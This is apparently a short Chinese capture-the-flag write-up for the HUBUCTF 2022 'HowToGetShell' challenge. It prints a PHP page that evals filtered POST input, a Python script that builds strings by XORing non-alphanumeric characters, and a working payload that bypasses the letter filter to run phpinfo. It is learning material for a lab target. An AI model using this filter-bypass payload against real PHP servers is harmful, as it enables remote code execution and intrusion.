[HUBUCTF 2022 新生赛]HowToGetShell

 这次可算搞懂了无字符数字绕过的原理,太棒了 

相关文章:无字符数字字符串绕过     一些不包含数字和字母的webshell总结

这题代码

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

 

使用这个脚本 字符串异或构造简易版.py

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = 'phpinfo'

tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if (ord(i) ^ ord(j) == ord(c)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print(tmp1, tmp2)

跑出  0302181 @[@[_^^ 

然后构造这样的payload即可

 mess=$_="0302181"^"@[@[_^^";$_(); 

然后再phpinfo里面搜flag就行了